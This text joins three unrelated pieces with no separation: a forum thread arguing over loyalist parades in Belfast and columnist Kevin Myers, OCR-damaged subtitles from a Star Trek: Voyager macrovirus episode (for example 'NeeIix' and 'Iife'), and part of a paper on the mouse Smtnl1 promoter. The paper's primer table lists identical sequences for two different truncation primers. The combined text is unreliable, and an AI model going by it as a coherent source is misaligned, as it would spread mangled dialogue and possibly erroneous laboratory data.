Before i am misunderstood I don’t want 1916 to be turned into a paramilitary display, As to the old UVF being portrayed, I don’t like it but I see your point, but to march them past the Short Strand is insensitive to say the least as I’m sure you would find a old IRA display marching past the Shankill say.
Indeed you don’t, but if you refuse to do so it rather renders utterly irrelevant your claim;
“Everything that Myers “states” is subject to suspicion. As I’ve said three times now.”
If you three times impugn a writer’s integrity the onus is on you to back your claims up, if you can not or will not do so the rest of us can safely dismiss your thrice-made claims as so much hot air.
I suspect your original claim that you personally have on many occasions found inaccuracies in Myers work to be bunkum, if you like I will say that three times.
cars1912
Comrade Stalin in reply:
You honestly don’t see a problem with terror groups parading and pretending to be some sort of heroes.
I think they have been parading for years. Who says they are parading as heroes. Parading to remember our forefathers? Yes. As heroes? No. So what’s the problem now?
You honestly don’t see why nationalists (and a lot of unionists) will have a problem with this.
Of course I see that many people have a problem with this. Doesn’t mean to say it cannot happen. I assume that all shades of IRA have been parading over the last couple of days. Do the same rules apply to them?
You honestly don’t see the hypocrisy of complaining about nationalist links with the provos then marching with loyalist terror groups.
I’m not complaining.
Comrade Stalin
cars1912,
I have no idea what point you are trying to make. It might be more obvious if you didn’t make assumptions about my underlying motivations (which are almost certainly incorrect).
hurdy gurdy man
Comrade Stalin (& cars1912)
Cars’ 6.15 is actually a response to Carl Marks’ 9.13 on the 6th April. He’s got the handles mixed up.
andnowwhat
I think it’s a measure of Myers to see the reaction on southern sites when he is quoted or linked. He, like Harris, is regarded as a complete joke.
Whilst fine trades suffer, the contraversialist seems to be a thriving business.
andnowwhat
I meant “contrarian”
Harry Flashman
“He, like Harris, is regarded as a complete joke.”
Odd then that the two of them are among the highest paid commentators in the Irish media.
It would be more accurate to say that Myers and Harris are hated by a certain narrow section of Irish society for their courage in showing up the fascists in the Provisional movement for what they are.
I can take a line through someone’s pavlovian reaction to Myers and Harris and can instantly judge the character of the critic and what his opinions will be about other issues.
Cars.
I apply the same rules to republican groups as I apply to loyalist groups.
I Have been informed by BTB on his post of 7 April 2012 at 10:54 pm
That the UVF and UDA are not going to march, I hope it is true ( he normally seems to be in the know about the OO) but answer me this if they do march what will be the order of march.
Could I suggest that they march in teams perhaps first the drug dealers then the pimps and bringing up the rear perhaps having a collection the lads running the protection racket.
Will the beast from the east take the salute, and wiil the Mount Vernon lads get a place of honour.
Comrade Stalin
Odd then that the two of them are among the highest paid commentators in the Irish media.
That tells us nothing about the quality or veracity of Myers output. Only what we already know, which is that controversy and hyperbole sells.
It would be more accurate to say that Myers and Harris are hated by a certain narrow section of Irish society for their courage in showing up the fascists in the Provisional movement for what they are.
No, it’s because Myers opinions are offensive to reasonable people. They are decisive, hateful, negative and insulting; they are the thoughts of someone who clearly has some sort of deep seated self-loathing going on.
The man is more than entitled to his opinions and the means by which to publish them, but this does not change the fact that they are opinions, and not fact.
Talking about fascism, that article that Myers did a few years ago about Africa and how aiding it would only increase the problems of AIDS etc is the sort of thing that our locally grown Nazi organizations would have circulated among their supporters at length.
PaddyReilly
The structure of Kevin Myers’ “debunking” is very curious.
He shows, or purports to show, that there was no discrimination against Catholics in the Shipyard in 1912. This is then taken as showing that stories told of a non-existent Catholic workforce there by Belfast Catholics of our acquaintance are “myths”. But one might legitimately ask, how many people that I or anyone else have spoken to, even decades ago, were talking about 1912?
Why not take the argument one stage further, and assert that since everyone in Ireland in 1500 A.D. was Catholic, there has therefore never been any discrimination against Catholics, ever?
impongo2
and republicans walking through various parts of belfast over easter warrants no comments from any of you
or is it the usual one sided rhetoric from the usual suspects
Harry Flashman
Given that FJH, Myers and I all specifically referred to 1912 and the building of the Titanic I’m not entirely clear what your point is Paddy.
Harry Flashman
“our locally grown Nazi organizations would have circulated among their supporters at length.”
Godwin strikes again, so saying that throwing eleventy gazillion, bazillion dollars of “aid” at Africa over the past half century might well have exacerbated rather than ameliorated the problems of that benighted continent makes one a Nazi now does it?
Sheesh, hysterical much?
Still haven’t pointed out the many factual errors that you have personally noticed in Myers’ writing I notice. I wonder if you were bluffing.
PaddyReilly
Kevin Myers wrote “Catholics cherish the myth that they weren’t allowed to work in the shipyards”.
To show, or in fact merely to assert that they were allowed to in 1912 has no bearing on this. The period complained of was not 1912, but sometime in the lifetime of the complainant. Many abuses were brought in after 1922 which would not have been tolerated before that. The Orange Order was banned for a while in the early 19th Century, as contrary to good order. The reason for these abuses was the special requirements of the Orange state, whose continuation required that there be no demographic change, at least not in the direction that favours Catholics.
Comrade opines that The rampant discrimination and inequality here didn’t happen overnight during December 1922. This I suppose is true, and the Pirrie story shows that there was already a movement afoot to eject Catholics, just that on this occasion it was not allowed to succeed.
Myers continues “And of course, there is the myth that the Titanic was unique, when she wasn’t.” As far as I know, the story of the Titanic is that it was a ship, reputed to be unsinkable, which sank. Lots of people drowned. There’s nothing about it being unique.
So Myers’ particular style consists in making things up, falsely attributing them to others, then refuting them and claiming that these are “myths” which he has “debunked”. Oh well, I suppose he has to write something. |
"Good health, strong body, clear mind." "And you." "Your hospitality your generosity, your patience." "Many thanks." "My colleague's behavior... our apologies." "consul, I assure you, I intended..." "please make her quiet." "Captain, please." "I understand." "Good health, strong body, clear mind." "And you." "Your journey home short and safe." "Captain's Log, Stardate 50425.1." "Mr. NeeIix and I have completed our three-day trade mission with the Tak Tak, one of the more unusual species we've encountered in the delta Quadrant." "We are en route back to Voyager" "Oh..." "I've always been taught to be tolerant of other cultures and points of view-- no matter how aIien-- but I have to say that the Tak Tak are the most unforgiving people I've ever met." "They are a little impatient." "They make the klingons look sedate." "I may never put my hands on my hips again." "You had no way of knowing you were making one of the worst insults possible." "obviously, they've never heard of "forgive and forget."" "It's a good thing you were there, Mr. NeeIix." "I might have been shot at dawn." "I have studied chromoIinguistics," "American Sign Language, the gestural idioms of the Leyron, but I just couldn't get the hang of the Tak Tak." "It seemed like more than just a language to me, Captain." "A Iot of their gestures, from what I couId tell, were rituaIistic-- you might even say superstitious." "You have a genuine flair for diplomacy, Mr. NeeIix." "I may have to promote you... from morale officer to ambassador." "With all the species we're bound to meet," "I couId use a man like you at the front door." "Ambassador NeeIix." "I Iike the sound of that." "We're approaching the rendezvous coordinates." "Dropping to one-quarter impulse." "Voyager's not there." "And they're not responding to halls." "I'm running a Iong-range scan." "There they are." "They're holding position in Sector 38." "Coordinates 121 mark 6." "That's over a Iight-year away from here." "The ship appears to be adrift." "They could be in trouble." "Engaging maximum warp." "Janeway to Voyager" "Commander Chakotay, respond." "The ship looks perfectly fine." "There's no sign of any external damage." "Is there any sign of the crew?" "There's some kind of bioelectric interference." "I can't get clear life sign readings." "The escape pods are all in place and there's no indication of any recent transporter activity." "Grab a phaser, Ambassador." "We're going to get some answers." "still no sign of the crew, but these sensor readings are highly erratic." "The bioelectric field is permeating the ship." "Where's it coming from?" "I can't localize it." "Let's try accessing the ship's internal sensors." "See if we can get a better reading." "Same problem." "The main computer's off-Iine." "So is the com system." "This is strange." "One of the bio-neuraI gel packs in the Mess hall ruptured, but most of the systems in there seem to be functioning normally." "Let's get to the Bridge." "Someone was doing maintenance work on this power relay." "AII the equipment is still active, but the work hasn't been completed." "It's almost as if they dropped what they were doing and ran." "Come on." "This certainly isn't the welcome home I was expecting." "Me neither, but if there was an attack of some kind, why didn't Chakotay try to contact us or send out a warning buoy?" "I'm picking up a com signal about ten meters ahead." "It's coming from inside this room." "This is Ensign WiIdman's quarters." "Is she in there?" "I can't tell." "Let's take a look." "Stand ready." "Coming up next, our very special guest, Ensign KapIan." "She's going to be sharing her..." "Here's our com signaI-- your Good Morning, Voyager program." "Ensign WiIdman is one of my most dedicated viewers." "According to the time index, she activated this program approximately 1 1 hours ago." "Why is it still running?" "The program is set for automatic playback until it's turned off." "The baby's missing, too." "According to the protein decay," "I'd say Ensign WiIdman replicated this... 1 1 hours ago." "When we get to the Bridge, we'II check the communications logs." "They might tell us whether or not..." "There!" "I can't tell if it's humanoid, but it's emanating a bioelectric field." "Whatever it is, it just ran into a dead end." "Over here." "Something just punched right through this floor panel into the Jefferies tubes." "What is it?" "Some sort of mucilaginous compound." "High concentrations of amino acids, proteins... and fragments of non-humanoid DNA." "well, Ambassador," "I'd say we've got an unexpected guest." "Somehow, I don't think he's the diplomatic type." "Main power is faiIing and the environmental controls are going off-Iine." "Systems are starting to shut down one by one." "We'd better get to the Bridge." "Good." "We've still got auxiliary power." "Deck 1." "It's getting awfully hot in here." "When environmental controls fail, heat from the warp plasma conduits can't be vented." "Expect a heat wave before long." "No problem." "I'm used to it." "I grew up near the Rinax marshIands." "Our summers were the hottest in the sector-- 50 degrees celsius, 90 percent humidity." "And the most vicious IavafIies you've ever seen." "Summers in Indiana were pretty similar when I was growing up." "Except that we had three suns and the IavafIies grew to be six centimeters long." "Six centimeters, eh?" "Insect repellent was a booming business." "There's a Iife-form in the turboshaft." "I'm engaging the manual override." "Uh..." "Captain... it sounds like our guest has brought a few friends." "One more second." "I can't get the pneumatic conduits to..." "That was no IavafIy." "There's no Iife-form in the tube above us." "We're getting out of here." "Are you all right?" "Yes." "Disgusting, but all right." "That's the same muciIaginous compound we saw in the transporter room." "Come on." "What is it?" "Human life signs." "Very faint." "30 or more." "Where are they coming from?" "several decks above us." "I can't pinpoint the location." "Maybe the crew is hiding from the aliens and they set up a defense perimeter." "Maybe." "One thing's for sure-- whoever's up there, they're still alive." "Once we get the main computer on Iine, we'II be able to get a fix on their location." "So hot." "My head is spinning." "You've got a high fever, fluid in your lungs." "Lung." "That alien compound is acting quickly." "Try to hang on." "Just three more decks." "Aye, aye, Captain..." "Captain, go on without me." "I'm not going to leave you here, NeeIix." "I can't..." "I'm so dizzy." "There should be an emergency medical kit up that tube." "I'II bring back something to get you on your feet." "Don't go away." "help!" "Captain!" "I'm coming, NeeIix!" "NeeIix!" "This is Captain Kathryn Janeway of the Federation Starship Voyager to anyone within range." "My ship has been seized by unknown Iife-forms." "Require any and all assistance." "Harry..." "Harry?" "Chakotay." "Captain." "needless to say, I-I thought you were something else." "It won't be long before the other aliens sense you here and try to invade Sick Bay." "We don't have much time to treat you." "Doctor, what's going on?" "What are tho...?" "You've ruptured your dorsal extensor muscle and bruised two ribs." "I'm going to have to perform minor surgery." "Lie on your side and try to remain perfectly still." "Oh..." "tell me what's happened." "Voyager has been infected by a macrovirus." "A macrovirus?" "A form of Iife I've never encountered-- or even imagined." "What about the crew?" "Captain..." "I promise, I will tell you exactly what happened if you just lie still." "shortly after you'd left for the Tak Tak homeworId, we received a distress call from a nearby mining colony... a race called the Garans." "They were experiencing what appeared to be a minor viral outbreak." "Fever... disorientation." "I think it's some kind of virus." "Nothing serious, but if we don't stop it now, we'II be forced to shut down the operation." "We may be able to help you." "Doctor?" "A synthetic antigen may do the trick." "However, it will have to be modified for the specific virus." "I'd Iike to beam down to the mining colony and examine a few of the infected." "An away mission." "I'm the only member of this crew who can successfully enter a contaminated environment without risk." "Besides, I've been looking forward to spreading my wings." "Good enough." "It'II take us about three hours to reach you." "Thank you, Commander." "I don't think we'II..." "be going anywhere." "Prepare to download my program into the autonomous emitter." "Yes, Doctor." "They're not responding to our halls." "Life signs." "There's a Iot of bioelectric interference." "I can't get a clear reading." "Perhaps their condition is more serious than they thought." "I better get down there." "Doctor, don't forget." "You're not invulnerable." "If anything happens to that portable emitter, your program could be lost." "Don't worry, Commander." "I've been studying the starfleet guidelines for away team members." "For this particular scenario" "medical Emergency on alien Terrain-- it is recommended that we keep an open com channel at all times." "You heard the man." "channel open." "Away team to Voyager" "Transport was successful, and my portable emitter is working perfectly." "I am scanning the mine shaft and proceeding on vector 147." "Ambient temperature is 16 degrees celsius." "Cavern illumination is minimal, but shouldn't pose a problem for my optical sensors." "The cave walls are comprised of granite with a mixture of pyroclastic..." "Doctor, I appreciate your attention to detail, but we don't need that much information." "Let us know when you've found the miners." "Oh." "Very well." "Stand by then." "Voyager, I've found one of the miners." "He appears to be suffering from the advanced stages of severe viral infection." "Can you treat him?" "Not without a more specialized immunizing agent." "This is curious." "The virus has begun to concentrate in a region near his neck, and it's using his glandular tissue to create some sort of..." "orifice." "Something is emerging." "A Iife-form." "Commander, I think I've just discovered a completely new form of Iife." "From what I can tell, it appears to be... a macroscopic version of the virus." "You mean the virus has grown." "Yes." "By a factor of billions." "The virus absorbed the miner's growth hormones into its protein structure and used them to increase its own mass and dimensions." "In essence, the virus has found a way to leave the microscopic world and enter the macroscopic worId-- our world." "It's a remarkable evolutionary development." "The virus appears to be attracted to infrared radiation." "It's mistaking my hoIo-matrix for body heat." "At the moment, this one's approximately" ".5 millimeters in diameter, but it's continuing to grow at a rate of 30 microns every second." "Commander, permission to beam the virus aboard for further analysis." "No." "The virus isn't in our database." "The biofiIters might not recognize it." "You'II have to settle for tricorder data." "Very well, but I think I should..." "Stand by, Voyager" "hold on." "Stop." "You... you've got to help us." "I intend to, but first I must return to my ship and prepare an antidote." "Oh, take me with you." "I'm afraid that's not possible." "We'd risk infecting the crew." "You can't..." "leave me." "please." "Commander Chakotay, perhaps if we established a force field around Sick Bay and beamed victims directly..." "I'm sorry, but I'm afraid we can't take the chance." "But these people need..." "Doctor, away team guidelines specifically forbid the transport of unknown infectious..." "Of unknown infectious agents onto a starship without establishing containment and eradication protocols." "I understand." "I'II do my best to help you." "Away team to Voyager" "One to beam up." "Doctor to Bridge." "Checking the biofilters." "It appears several viral organisms were beamed up as well." "The biofilter has isolated them." "Purge the filters." "Aye, sir." "Purging is complete." "I'II be in Sick Bay." "What I didn't realize was that, in the few seconds it took me to purge the filters, some of the virus had already migrated into the transporter buffer." "Any luck?" "I'm creating a synthetic antigen that will inhibit the virus's ability to replicate, but I haven't quite figured out how to restore the infected cells to their original condition." "As for the larger versions of the viruses-- what I've termed the macrovirus" "I would suggest a flyswatter." "How long before the antigen's ready?" "I'd say another 12 hours." "That gives us time to rendezvous with the Captain." "We'II deal with this after she's aboard." "Commander, I'd Iike to apologize for my overzealous behavior on the away mission." "Compassion is nothing to be sorry about, Doctor." "It won't be the Iast time you're faced with a moral dilemma in the field." "But if it makes you feel any better, your performance was..." "exemplary." "Thank you." "I told you he'd understand." "Yes." "You did." "We continued working on the antigen." "unfortunately, the macrovirus was working faster." "It had already moved from the transporter buffer into an adjacent system." "B'EIanna, thank God you're here." "The natives are getting restless." "What's the emergency?" "well, I volunteered to help out while NeeIix is away on the trade mission." "The heating array overloaded." "It incinerated a 12-kiIo pot roast and all the food replicators went off-Iine." "Mmm." "Looks delicious." "Maybe there's a problem with the bio-neuraI gel pack in the replicator panel." "actually..." "I'm a pretty good cook when Engineering's doing its job." "Oh, so this is my fault." "well, the gel packs are your department, aren't they?" "Besides, what was I supposed to tell all these hungry, irritable people?" "You know, I think that there's a plasma relay on Deck 7 that really needs repairs." "Oh, no, you can't leave me now, Lieutenant." "Oh, you need me." "I'm touched." "What's going on here?" "It looks like this gel pack has an infection." "half the neurodes have been burned out and the pack is filled with some kind of mucilaginous compound." "Tom, call the Doctor and tell him..." "B'EIanna!" "Were any other gel packs infected?" "No, just the one in the Mess hall." "The ship is healthy." "It's the crew we have to worry about." "Your bones have healed, but the surrounding tissue will be sensitive for a few days." "It's getting warmer in here." "I'm afraid it's not just the ship, Captain." "It's also you." "You've been infected with the macrovirus." "You're experiencing a high fever." "Yes, on the Bridge, I was bitten by one of them." "Your glandular system is already being affected." "If I don't treat you now, you'II end up like the rest of the crew." "I've spent the past few hours perfecting the antigen... but I haven't tested it on a live subject yet." "Looks like I'II have to be your guinea pig, Doctor." "The crew-- why are they all in the Mess hall and the cargo bays?" "I believe the larger macroviruses are driven by some sort of instinct to assemble their host population." "tell me what happened after B'EIanna was exposed to the infected gel pack." "I was faced with an imminent epidemic." "Oh, no." "Doctor to the Bridge." "The macrovirus is on board Voyager and appears to be... airborne." "I suggest a IeveI-4 quarantine of the Mess hall and all adjoining sections." "acknowledged." "Red alert." "Initiate IeveI-4 quarantine protocols on Deck 2." "Aye, sir." "AII hands, this is Commander Chakotay." "We've detected an airborne virus in the Mess hall." "Deck 2 is under quarantine." "No crew member, repeat, no crew member is to leave or enter any section on Deck 2." "Stand by for further instructions." "I've erected the biocontainment fields." "The area has been sealed." "We managed to avoid a ship-wide outbreak, but every crew member on Deck 2 had been contaminated." "I collected a single live specimen of the macrovirus, and returned to Sick Bay in hopes of finding a cure." "Ready, Doctor." "optimal magnification." "The specimen has synthesized" "B'EIanna's growth hormone into its own structure." "excellent." "That should give us the information we need to destroy the virus without killing its host cells." "The virus has grown by 150 microns." "Its rate of growth shouIdn't hinder our analysis, as long as its genetic structure stays the same." "Doctor..." "Computer, erect a IeveI-3 force field around the microscope station." "well, so much for lunch." "I may never look at food again." "I thought KIingons didn't get nauseated." "You have a redundant stomach." "well, right now... they're both unhappy." "Paris to Sick Bay." "Go ahead, Lieutenant." "I just saw two macroviruses come out of B'EIanna's neck." "Stand by, Mr. Paris." "We're close to formulating an antigen." "The virus has grown to .3 meters." "On the microscopic level, the virus uses that needIe-Iike projection to penetrate a cell membrane." "On our level, it probably impaIes its victim in much the same way infusing him with its own genetic code." "The antigen is ready." "Kes..." "Computer, deactivate force field." "well... one down, ten billion to go." "Eager to inoculate those already infected," "I quickly headed for the quarantined area." "Though their condition had grown worse, it was the least of our problems." "Lieutenant... if you can hear me," "I'm going to give you an injection." "It should eliminate the virus." "What?" "What is that?" "You don't want to know." "Doctor to the Bridge." "Intruder alert." "Deck 2, Section 13." "Within minutes, dozens of the larger organisms forced their way beyond Deck 2 and overwhelmed the ship." "It wasn't long before the crew was incapacitated." "although I've developed an effective vaccine," "I can't administer it." "Every time I try to get to the crew, I'm attacked." "Perhaps with your help." "How many of the larger macroviruses are there?" "I have no way of knowing." "Dozens, perhaps hundreds." "They're replicating at an exponential rate." "By this time tomorrow, there could be thousands." "Speak of the devil." "You're cured." "The question is:" "How do we cure the rest of the crew?" "This antigen-- can it be distributed in a gaseous form?" "For absorption via the respiratory system?" "I've already considered dispensing it through environmental controls." "But they're off-Iine and I have limited engineering expertise." "Leave that to me." "AII we have to do is get to environmental control on Deck 12." "Easier said than done." "We'II run into the same problem I faced when I tried to get to the Mess hall." "Not if I can help it." "Prepare two canisters of antigen." "We'II split up and take different routes to environmental control." "It'II double our chances." "If you get there first, call me and I'II talk you through the repairs." "The macroviruses are attracted to infrared radiation." "Set your tricorder to emit a thermal scattering signal." "It will make it more difficult to target you." "Ready when you are." "We'II be right with you." "Take Jefferies Tube 1 1." "What's wrong?" "I've been studying the ship's infrastructure and I'm familiar with most of it, but how do I get there from here?" "Jefferies Tube 1 1." "Take a left at Section 31." "Head straight down past the tractor beam emitter until you hit Deck 10." "Get out at Section 3 and follow the corridor all the way around..." "until I hit the shuttle bay." "Then I crawl through Access Port 9, go past three airIocks and then two decks down." "environmental control's at the end of the hall." "Now I remember." "Who designed this ship, anyway?" "Good luck." "Doctor to Captain Janeway." "Go ahead." "I won't be joining you as soon as I'd hoped." "The macroviruses overwhelmed me on Deck 10 and my portable emitter was nearly destroyed." "I've taken refuge inside the shuttle bay in a shuttlecraft." "Stay put, Doctor." "I'm close to environmental control." "Janeway to Doctor." "I've got the environmental controls back on Iine." "Set the dispersal nodes to one part per thousand." "What's going on?" "I'm not sure, but I think someone's firing at Voyager" "Doctor, use the shuttle's sensors to find out what's happening and patch the data to me." "Aye, Captain." "It's the Tak Tak." "Doctor, open a channel and hail their Captain." "Stand by." "consul, this is Captain Janeway." "Why are you firing at us?" "The Garan mining colony, infected." "We purified them." "Your distress call received." "Voyager infected." "We are purifying you." "Purifying?" "You're trying to destroy us." "No choice." "No cure for the virus." "Voyager's existence a threat." "Your illness." "Our apologies." "Wait." "We've developed a cure." "But your torpedoes just stopped us from getting it to our crew and putting an end to this." "Cure?" "Yes." "A synthetic antigen." "We've tested it, and it works." "I can prove it to you." "And I'd be willing to share the antigen with your people, but first, you've got to stop attacking my ship." "Give me a chance to save my crew." "A chance." "One hour." "Doctor, we've got a problem." "That last torpedo destroyed the secondary power couplings." "I can't get the environmental controls back on Iine." "We appear to be low on options." "The only systems we still have access to are the ones with independent power sources-- shuttIecraft, Iife-support, the holodecks..." "Doctor, you said the macroviruses are attracted to infrared signatures." "That's right." "Right now, you and I are the only targets left on board." "What if we gave them something new to sink their teeth into?" "What are you suggesting?" "Doctor, it seems to be working." "I've programmed the hoIo-characters to react to the viruses." "We don't have much time." "Grab your hypospray and get to the crew." "You've got a clear path to the Mess hall and both cargo bays." "acknowledged." "What about you, Captain?" "I've put together what you might call an "antigen bomb."" "Now all I have to do is drop it." "Doctor to Captain Janeway." "Captain, please respond." "Go ahead." "It worked." "The macroviruses have been destroyed." "And the ship?" "There was heavy damage suffered on HoIodeck 2, but there are no hull breaches in evidence." "Astonishment." "Your vessel, purified." "And we'd be willing to share the cure with you, if you'd be kind enough to forego destroying our ship." "Of course, of course." "Purification will cease." "My word." "Many thanks, Captain of Voyager" "Good health." "Good health." "Come in." "Good morning, Captain." "Here's an update on repairs." "How's the crew holding up?" "They're fine, although the Doctor tells me a few people are still reporting post-viraI queasiness." "I'm not surprised." "Inform the crew that I'm granting extended RR for all personnel and work out the shift rotations." "Aye, Captain." "Speaking of RR... a few of us are going skiing on the hoIodeck-- the Ktarian glaciers." "Fresh air, good workout." "Care to join us?" "No, thank you, but have fun." "Not your cup of tea?" "Oh, on the contrary, I Iove to ski." "Let's just say..." "I've had enough of a workout for the time being." "Understood." |
Background
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The smoothelin-like 1 (SMTNL1 \[Swiss-Prot: [Q99LM3](Q99LM3)\]) protein was discovered as a novel protein phosphorylated in response to cGMP stimulation of ileal smooth muscle tissue \[[@B1]\]. The protein contains a calponin homology domain at its carboxy-terminus, thus it was originally termed the calponin homology-associated smooth muscle protein (CHASM). Experiments completed *in situ*with isolated smooth muscle tissues suggest a physiological role for SMTNL1 in promoting the relaxant actions of PKA/PKG \[[@B1],[@B2]\], and studies with *Smtnl1*genetic knock-out mice link SMTNL1 with adaptive responses to exercise in both smooth and skeletal muscle \[[@B3]\]. More recent studies have provided indications that SMTNL1 also governs smooth and skeletal muscle adaptations during sexual development and pregnancy \[[@B4]\]. Although less well studied at the molecular level, current data suggests SMTNL1 plays an important regulatory role in smooth muscle contraction and development. The protein is known to interact with tropomyosin \[[@B5]\] and with apo-calmodulin in a Ca^2+^dependent manner \[[@B6]\], to inhibit myosin phosphatase activity \[[@B2],[@B3]\] and to regulate the expression of the myosin phosphatase targeting subunit (MYPT1) \[[@B4]\].
As its name suggests, SMTNL1 is closely related to the smoothelin family of proteins (SMTN) that are used as markers for contractile smooth muscle cell differentiation \[[@B7],[@B8]\]. The specific biological role of the two SMTN isoforms, A (short isoform, predominantly visceral expression) and B (long isoform, predominantly vascular expression), remains poorly defined; however, the analysis of mice lacking SMTN-A or -B has revealed critical roles for each of the proteins in intestinal and vascular smooth muscle performance, respectively \[[@B9],[@B10]\]. Interestingly, the SMTN-A and SMTN-B isoforms are expressed from alternative promoters, with the intragenic promoter of SMTN-A residing within exon 10 of the *Smtn*gene \[[@B11]\]. Thus, one *Smtn*gene gives rise to both SMTN-A and SMTN-B mRNA with lengths of 1700 and 3000 nt, respectively. The *Smtn*promoter is controlled by serum response factor (SRF) and myocardin \[[@B12]\]. SRF and myocardin play critical roles in the expression and regulation of growth-responsive genes as well as the expression of virtually all smooth muscle specific genes, such as calponin, myosin heavy chain, α-actin and SM-22 \[[@B13],[@B14]\]. Previous analyses of various smooth muscle and general tissues by immunohistochemistry and Western blotting have revealed strong expression of SMTNL1 in MHC-2A skeletal muscle fibers, moderate expression in smooth muscle tissues (e.g., bladder, ileum, uterus and aorta) and no expression in MHC-I/b cardiac muscle \[[@B3]\]. Given that SMTNL1 is expressed in multiple muscle types, it was expected that *Smtnl1*transcriptional regulation might differ from the other smoothelin family members.
To date, the contribution of the SMTNL1 protein in smooth muscle contraction has been examined *in vitro*and *in vivo*\[[@B1]-[@B6]\], but investigations of its gene and transcriptional regulation are still lacking. Thus, in this study, we identify and characterize key regulatory elements of the promoter region in the mouse *Smtnl1*gene. This region contains a TSS mapped to a location 119 bp downstream of the NCBI-predicted site. Our data demonstrate that a proximal promoter region is located within 118 bp of the TSS site and provide molecular insights into the regulation of the *Smtnl1*gene.
Results and Discussion
======================
PCR analysis of Smtnl1 transcript
---------------------------------
We first examined the pattern of *Smtnl1*expression in skeletal muscle and representative smooth muscle tissues with RT-PCR. As shown in Figure [1A](#F1){ref-type="fig"}, the *Smtnl1*transcript is expressed at very low levels. *Smtnl1*expression in skeletal and aortic smooth muscle tissues was detectable following 35-cycles of amplification; however, transcript was not detected by RT-PCR in other smooth muscle beds. To increase the sensitivity of detection, we then performed nested PCR reactions on the primary products. This step also increased the specificity of the PCR reaction and permitted qualitative verification of *Smtnl1*expression. We detected *Smtnl1*expression by nested PCR in the muscle tissues selected for analysis. The nested-PCR amplicons were sequenced and align 100% to the *Smtnl1*sequence. Due to its low abundance, we were unable to accurately assess the expression levels in different tissues with qPCR techniques.
{#F1}
We also investigated the expression of mRNA encoding SMTNL1 transcripts in various human tissues with Northern blot analysis. For this study, we used a 1.0-kb 5\'-probe based on mouse *Smtnl1*and moderate stringency washes. The probe was generated to include the sequence encoding the N-terminal 273 amino acid residues of SMTNL1 in order to avoid cross-reactivity with other transcripts that possess sequence encoding a calponin homology (CH)-domain, such as the smoothelins. A single transcript of \~2.1-kb was detected in skeletal muscle (Figure [1B](#F1){ref-type="fig"}) and correlated with the predicted mRNA size of 1.8-kb. No other mRNA species were identified, implying that a single *Smtnl1*transcript exists in skeletal muscle. Although we obtained a strong signal for *Smtnl1*mRNA in skeletal muscle, northern signals were not detected in tissues with high vascular content such as brain and kidney or in tissues with high smooth muscle content (e.g., placenta, small intestine or colon). As seen from our nested-PCR results, a number of smooth muscle tissues do possess *Smtnl1*mRNA, but at much lower levels than skeletal muscle which might account for the inability to detect expression by Northern blotting. These data agree with protein distributions as determined previously by Western blotting \[[@B3]\]. Interestingly, recent studies have revealed that exercise- and pregnancy-induced alterations in SMTNL1 expression were linked to functional adaptations in skeletal and smooth muscle contractile performances. Given these previous findings, it will be important to generate an accurate tool to quantitatively analyze *Smtnl1*transcript levels in human tissues and/or mouse models of disease.
Smtnl1 transcription start site mapping
---------------------------------------
The murine *Smtnl1*gene \[GenBank: [68678](68678)\] is located on chromosome 2, E1 and spans 11.48-kb with 8 exons. The mRNA sequence \[GenBank: [NM_024230](NM_024230)\] has been annotated using bioinformatic and curatorial analyses in the NCBI Refseq database. A thymidine residue at -162 bp from the translational start site (AUG) within the *Smtnl1*mRNA was assigned as the provisional transcriptional start site (TSS). This positions the ATG at the start of exon 2 while exon 1 (162 nt) is not translated. To verify the location of the TSS in the *Smtnl1*gene, we performed 5\'-RACE experiments on murine smooth and skeletal total RNA. Three reverse, gene-specific primers were designed for the PCR step that follows cDNA synthesis in the 5\'-RACE process (see Table [1](#T1){ref-type="table"}). Primer GSP3 and GSP 2 anneal just downstream of the TSS and upstream of the AUG (expected PCR product 63 bp and 176 bp, respectively). Primer GSP1 anneals just upstream and outside of the CH domain in exon 8 (expected PCR product 1479 bp).
######
PCR primers used in the analysis of *Smtnl1*.
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RT-PCR & nested PCR
-------------------------- --------------------------------------------------
mSmtnl1-F1 AAGAAGGATCGAGCACCAGAAC
mSmtnl1-R1 ACACACTTGGAATCGGGCAC
mSmtnl1-nested-F1 GGAAGGCCATCATGGACAAATTT
mSmtnl1-nested-R1 GCACAGTCGGCTAGTTTCTCTG
**5\'-RACE**
5\'-CDS dT~25~VN (N = A, C, G, or T; V = A, G, or C)
SMART II A AAGCAGTGGTATCAACGCAGAGTACGCGGG
UPM 5:1 mixture of (1): (2)\
(1) CTAATACGACTCACTATAGCAAGCAGTGGTATCAACGCAGAGT\
(2) CTAATACGACTCACTATAGC
NUPM AAGCAGTGGTATCAACGCAGAGT
GSP1 CCACCTCCAGCAGCTGGGCACAGTCGGCTAG
GSP2 GCCTCGTTCTAGCCGAGCTGCCTCACTCTCCAT
GSP3 CACCCCACCTTCAAGAGGCCCGGGCTTCG
NGSP1 CACCCCACCTTCAAGAGGC
NGSP2 CCAACTCCTTTGTGTCACTTCCG
**RPA**
RPA2 TAATACGACTCACTATAGGGCTGATCAGATGCTAGGTACACTT\
GCTTCCACCACCCCTTGCTTCCACC
T7 promoter TAATACGACTCACTATAGGG
RPA-NCS GAGAGGGACGCAGCAGCGTG
RPA-NCA GGTTCTGCCTGCAGCTCGG
RPA-M1-2S TAGAACGAGGCAAGAGCTCC
RPA-M1-2A GTTCTGCCCAATCTGAAGGC
RPA-FR1 GCCACCTGTCAGATCTTCGG
RPA-RT7 TAATACGACTCACTATAGGGCTGATCAGATGCTAGGTACAG\
TTCTGCCCAATCTGAAG
**Promoter Truncations**
+100 bp LUC R1 GTGGGATCCGTGAAAGGTAAGAATAGG
0 bp LUC F1 CTAGCCTTCTAGAACGAGGCAAGAGCTCC
-118 bp LUC F2 CTAGAATTCCTTCCCGAAGCCCGGGC
-218 bp LUC F3 CTCGAATTCGCAGCGTGATTGAAAGATG
-468 bp LUC F4 CTAGAATTCCCCCTCAGCAGCTACTTTG
-767 bp LUC F5 CTCGAATTCCGTTGGGAACTGGGAATTCCG
-1350 bp LUC F6 CTAGAATTCGACAAAGCTTGGGGTCTATATC
-1637 bp LUC F7 CTAGAATTCCTCTTAACCTCCAAGACATC
-1869 bp LUC F8 CTAGAATTCCTCTTAACCTCCAAGACATC
-2368 bp LUC F9 CTAGAATTCCAAAGTCCTATTGCTTGCACC
-2759 bp LUC F10 GCTGAATTCGAATTATCTCATGGACTTGCCTAGAG
